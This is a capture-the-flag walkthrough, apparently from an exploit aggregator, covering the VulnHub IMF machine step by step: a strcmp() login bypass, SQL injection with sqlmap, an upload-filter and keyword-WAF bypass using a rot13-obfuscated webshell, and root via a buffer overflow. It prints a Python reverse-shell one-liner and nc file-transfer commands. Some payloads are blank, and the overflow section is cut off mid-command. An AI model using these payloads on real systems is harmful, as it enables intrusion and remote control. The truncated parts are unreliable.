Share
## https://sploitus.com/exploit?id=552AB2C8-D2C2-55DA-94E0-C0C058D5B5D8
# IMF: 1 โ€” Boot2Root Walkthrough

**Platform:** VulnHub  
**Difficulty:** Intermediate  

---

## Overview

IMF (Impossible Mission Force) is a VulnHub boot2root where every flag contains a hint pointing to the next step. The machine covers a lot of ground โ€” passive recon, reading page source carefully, PHP type juggling, SQL injection, file upload filter bypass, remote code execution, and finally a stack-based buffer overflow to get root. It's a great machine for chaining small findings into a full compromise.

This writeup is intentionally detailed about where things went wrong and why, not just what the final answer was.

---

## Step 1: Finding the Machine

First thing is finding the target IP on the local network.

```bash
nmap -sn 192.168.0.0/24
```

Once I had the IP, I ran a version scan to see what services were exposed.

```bash
nmap -sV 192.168.0.136
```

Only HTTP was open. Visited the IP in the browser and got the IMF website โ€” a fictional intelligence agency landing page.

![IMF website homepage](images/ss-01.png)

---

## Step 2: Directory Enumeration

With just a website, the next step is figuring out what paths exist. I ran gobuster with php/txt/bak/zip extensions since it looked like a PHP site.

```bash
gobuster dir -k -u http://192.168.0.136/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,bak,zip
```

![Gobuster results showing discovered paths](images/ss-02.png)

Found: `/images`, `/index.php`, `/contact.php`, `/projects.php`, `/css`, `/js`, `/fonts`, `/less`, `/server-status`.

Nothing immediately exciting. I went and visited all of them manually โ€” projects.php and index.php were just static pages. Out of habit I also fuzzed `/images/` itself:

```bash
gobuster dir -k -u http://192.168.0.136/images/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

Nothing there. At this point I started reading each page's source code carefully instead of just looking at the rendered output, which is where things got interesting.

---

## Step 3: Reading Source Code โ€” Flag 2

When you're stuck on a web challenge, always read the raw HTML. Developers leave things in comments, class names, script tags โ€” stuff that doesn't show on the rendered page.

On the homepage, I noticed a comment in the source that I noted down even though I didn't know what to do with it yet.

![HTML comment found in homepage source](images/ss-03.png)

Then I looked at the JS includes. The filenames themselves looked like base64 strings:

![Suspicious JS filenames highlighted in page source](images/ss-04.png)

```
ZmxhZzJ7YVcxbVl
XUnRhVzVwYzNS
eVlYUnZjZz09fQ
```

I tried decoding each chunk individually in CyberChef but got garbage. Then I concatenated all three and decoded โ€” still looked weird, it said something like `flag2{...}` but I wasn't sure if it was real. The value inside was another base64 string: `aW1mYWRtaW5pc3RyYXRvcg==`.

Decoding that second layer:

![CyberChef decoding the inner base64 to imfadministrator](images/ss-05.png)

Output: `imfadministrator`

> **Flag 2 found.** The value `imfadministrator` also looked like it could be a path or a password. I filed it away.

I also opened the actual `.js` files to see if there was anything inside them โ€” they were completely normal vendor libraries. The flags were only in the filenames.

---

## Step 4: Contact Page โ€” Flag 1

`/contact.php` had a form with email, name, and comments fields.

![contact.php showing the input form](images/ss-06.png)

I tested it normally first โ€” submitted it, nothing happened, just page reload. Then I tried putting `'` in the fields to see if anything broke. Nothing. I tried SQL injection, XSS, command injection, LFI/RFI in every field. The app absorbed everything silently with zero error output, which is actually good security practice for a contact form โ€” but also means the form probably wasn't the attack surface.

What I should have done immediately was look at the source. When I finally did:

![contact.php source code showing base64 in HTML class attributes](images/ss-07.png)

There were base64 strings hidden inside div class attributes in the HTML. `==` at the end is a classic base64 giveaway. Decoding one of them:

![CyberChef decoding contact page base64 to allthefiles](images/ss-08.png)

Output: `allthefiles`

> **Flag 1 found.** The source also had staff emails visible in the HTML: `rmichaels@imf.local` โ€” Roger S. Michaels, Director. Username noted.

The lesson here is: stop trying to break the inputs before you've actually read the page source. The flags in this machine were hidden in the markup itself, not behind any injection.

---

## Step 5: Admin Login โ€” Bruteforce Fails, strcmp() Wins โ€” Flag 3

I tried the path `/imfadministrator` and got a login form. Default credentials didn't work. I tried a few obvious ones manually.

Then I went to Burp Suite and started probing. Sending a SQL injection payload in the login returned something interesting in the response โ€” a developer comment left in the HTML:

```html

```

![Burp Repeater showing the SQL injection probe and developer comment in response](images/ss-09.png)

So SQL injection on the login wasn't going to work โ€” the password was hardcoded, not pulled from a database. I confirmed the username `rmichaels` by noticing the error message changed: wrong username gives `"Invalid username"`, correct username with wrong password gives `"Invalid password"`. That kind of difference tells you the username exists.

![Contact page showing Roger S. Michaels as Director, confirming the username](images/ss-10.png)

I then tried brute-forcing the password with Hydra:

```bash
hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.0.136 \
  http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:Invalid password"
```

Nothing found. Rockyou didn't have it. That was time wasted.

The developer comment said "hard-coded" โ€” meaning `strcmp()` comparing input against a literal string in PHP code. After some research I found a PHP type juggling vulnerability in `strcmp()`.

**How the strcmp() bypass works:**

PHP's `strcmp()` is meant to compare two strings. It returns `0` if they're equal, and non-zero otherwise. The login logic probably looks something like this:

```php
if ($user == "rmichaels" && strcmp($pass, "secretpassword") == 0) {
    // logged in
}
```

The problem is that PHP's `strcmp()` has undefined behavior when you pass it a non-string type โ€” specifically an array. When you call `strcmp(array, "string")`, PHP returns `NULL`. And in PHP's loose comparison, `NULL == 0` is `true`.

So if you send `pass[]=anything` instead of `pass=anything`, PHP interprets `pass` as an array. `strcmp()` gets an array as its first argument, returns `NULL`, and `NULL == 0` passes the check.

This only works because the code uses `==` (loose comparison) instead of `===` (strict comparison). If it was `strcmp(...) === 0`, an array would return `NULL` which doesn't strictly equal `0`, and the bypass would fail.

In Burp Repeater, I changed the POST body from:

```
user=rmichaels&pass=testing
```

to:

```
user=rmichaels&pass[]=testing
```

![Burp Repeater showing the strcmp bypass request with pass[] array notation](images/ss-11.png)

It worked. The response contained the flag and a link to the CMS:

![Browser showing flag3 and the IMF CMS link after successful bypass](images/ss-12.png)

> **Flag 3 found.** `continueTOcms` โ€” pointed straight at the next step.

---

## Step 6: CMS SQL Injection โ€” Flag 4

The CMS loaded at `cms.php?pagename=home`. URL parameter on first load โ€” that's a classic SQL injection candidate.

![IMF CMS homepage with the pagename GET parameter visible in URL](images/ss-13.png)

I sent the request to Burp Repeater and appended a `'` to the `pagename` value. The response immediately threw a raw PHP warning:

```
Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result,
boolean given in /var/www/html/imfadministrator/cms.php on line 29
```

![Burp Repeater showing SQL error triggered by pagename injection](images/ss-14.png)

A `boolean given` error from `mysqli_fetch_row()` means the query failed โ€” the injected `'` broke the SQL syntax. This is a clear SQL injection. The app is taking the `pagename` value and putting it directly into a query without sanitization.

I saved the request to a file and passed it to sqlmap:

```bash
sqlmap -r request.txt --dbs
```

![sqlmap output listing all discovered databases](images/ss-15.png)

Five databases: `admin`, `information_schema`, `mysql`, `performance_schema`, `sys`. The `admin` database was the interesting one. Dumping its tables revealed a `pages` table with page names and their HTML content. The entries included a page called `tutorials-incomplete`.

Navigating to it:

![CMS tutorials-incomplete page with a whiteboard classroom image](images/ss-16.png)

There was a QR code embedded in the whiteboard image in the bottom corner. I scanned it using Google Lens:

![Google Lens scanning the QR code and revealing flag4](images/ss-17.png)

> **Flag 4 found.** `uploadr942.php` โ€” the name of the upload page, which was also listed in the database dump as "Under Construction."

---

## Step 7: File Upload WAF Bypass & RCE โ€” Flag 5

Navigating to `/imfadministrator/uploadr942.php`:

![Intelligence Upload Form at uploadr942.php](images/ss-18.png)

I tested normal behavior first โ€” uploading a regular `.jpg` worked fine. Then I tried uploading a `.php` file with a basic webshell. Immediately rejected:

![Error: Invalid file type from the upload form](images/ss-19.png)

So it checks file type. But is it checking the extension, the MIME type, or the actual file content (magic bytes)?

I tested further by renaming my PHP file to `.jpg` โ€” still rejected. That ruled out extension-only checking. The server is reading the file content. Every file format has "magic bytes" โ€” a specific sequence of bytes at the start that identifies the format. For GIF files that's `GIF89a` or `GIF98`. For JPEG it's `\xff\xd8\xff`.

I prepended `GIF98` to my PHP file to fake the magic bytes. Uploaded โ€” it got past the type check. But then a different error:

```
Error: CrappyWAF detected malware. Signature: system php function detected
```

There's a WAF doing keyword matching on the file content. It's blocking `system`, `eval`, `fsockopen` and other dangerous PHP function names. So I can't just use a regular webshell.

The fix: obfuscate the function call so the string `"system"` never literally appears in the file.

`str_rot13("flfgrz")` evaluates to `"system"` at runtime (rot13 of `flfgrz` is `system`), but the string `system` never appears in the source code โ€” so the WAF doesn't catch it.

Final payload:

```
GIF98

```

Line 1 is the GIF magic bytes โ€” fakes the file format check.  
Line 2 is the webshell โ€” `str_rot13("flfgrz")` becomes `system` at runtime, then calls it with the `cmd` GET parameter.

![Payload file showing GIF98 magic bytes and rot13-obfuscated webshell](images/ss-20.png)

Upload succeeded. Now where did it go? The response page source had a random filename in an HTML comment:

![Page source after upload showing the randomized filename e679383f85a3](images/ss-21.png)

Random filenames are a common technique to prevent overwriting and make files harder to guess. But I still needed to find what directory they're stored in. Another gobuster run, this time inside `/imfadministrator/`:

```bash
gobuster dir -k -u http://192.168.0.136/imfadministrator/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

![Gobuster finding the /uploads directory inside imfadministrator](images/ss-22.png)

Found `/uploads`. I accessed the file directly and added `?cmd=whoami`:

```
http://192.168.0.136/imfadministrator/uploads/e679383f85a3.gif?cmd=whoami
```

![RCE confirmed - browser output shows GIF98 www-data](images/ss-23.png)

The output `www-data` confirmed command execution. The `GIF98` at the start is just the magic bytes being rendered as text โ€” the actual command output is `www-data`.

With RCE confirmed, I set up a Netcat listener and sent a Python reverse shell through the `cmd` parameter:

```
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.0.205",542));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'
```

![Netcat listener catching the reverse shell from the target](images/ss-24.png)

Shell landed as `www-data`. In the same uploads directory there was a `flag5.txt`.

> **Flag 5 found.** `agentservices` โ€” hinting at a service or binary named "agent."

Upgraded the shell to a proper TTY:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

---

## Step 8: Finding the Agent Service

The flag said `agentservices` so I checked for a running process first:

```bash
ps aux | grep agent
```

Nothing. Not running as a visible process. I ran linpeas to enumerate the machine properly:

```bash
./linpeas.sh
```

It found a binary at `/usr/local/bin/agent`:

![linpeas output highlighting the agent binary at /usr/local/bin/agent](images/ss-25.png)

And an xinetd config entry:

![xinetd config showing agent runs as root on port 7788](images/ss-26.png)

This is important. **xinetd** is a super-server daemon โ€” it listens on a port and spawns the configured binary whenever a connection comes in. The config showed:

- `user = root` โ€” the binary runs with root privileges
- `server = /usr/local/bin/agent` โ€” this is the binary
- `port = 7788` โ€” it listens here

So there's a root binary accepting network connections on port 7788. That's a very high-value target.

---

## Step 9: Reverse Engineering with Ghidra

I tried `strings /usr/local/bin/agent` to look for hardcoded values, but got nothing useful. I needed to actually decompile it.

I transferred the binary to my machine using Netcat:

```bash
# On attacker machine โ€” receive
nc -lvp 4444 > agent

# On target machine โ€” send
nc 192.168.0.205 4444  **Flag 6 found.** `Gh0stProt0c0ls`

And the bonus ending message:

![TheEnd.txt congratulations message from the machine creator Geckom](images/ss-36.png)

---

## Summary of the Attack Chain

```
Network scan
    โ””โ”€โ”€ HTTP open โ†’ website
            โ””โ”€โ”€ Gobuster + source reading โ†’ base64 in JS filenames โ†’ flag2 โ†’ /imfadministrator
                    โ””โ”€โ”€ Contact page source โ†’ base64 in HTML โ†’ flag1
                            โ””โ”€โ”€ Admin login โ†’ strcmp() bypass โ†’ flag3 โ†’ IMF CMS
                                    โ””โ”€โ”€ CMS pagename parameter โ†’ SQL injection โ†’ sqlmap โ†’ flag4 โ†’ /uploadr942.php
                                            โ””โ”€โ”€ File upload bypass (magic bytes + rot13 WAF evasion) โ†’ RCE โ†’ reverse shell
                                                    โ””โ”€โ”€ flag5 โ†’ /usr/local/bin/agent via xinetd (root)
                                                            โ””โ”€โ”€ Ghidra โ†’ agent ID + buffer overflow in report() โ†’ root shell โ†’ flag6
```

## What I Learned

**Read source code before testing inputs.** Flags 1 and 2 were both in the page source โ€” HTML class attributes and JS filenames. No injection needed, just reading.

**Error message differences matter.** "Invalid username" vs "Invalid password" confirmed the username existed without needing to brute-force it.

**Brute-forcing isn't always the answer.** Hydra on rockyou.txt found nothing because the password was hardcoded in PHP. The vulnerability was in the comparison logic, not the password strength.

**Signature-based WAFs are weak against obfuscation.** The "CrappyWAF" blocked `system`, `eval`, `fsockopen` by keyword. One `str_rot13()` call bypassed all of it. Real-world WAFs are more sophisticated but the same principle applies.

**Always check xinetd configs during post-exploitation.** `/etc/xinetd.d/` is a blind spot that often hosts legacy services running as root.

**`gets()` should never be used.** It has no bounds checking by design. Any binary using `gets()` is almost certainly exploitable with a buffer overflow. `fgets()` with a size limit is the safe alternative.

---

*Reference for the buffer overflow section: [Buffer Overflows Made Easy by The Cyber Mentor](https://www.youtube.com/watch?v=ncBblM920jw)*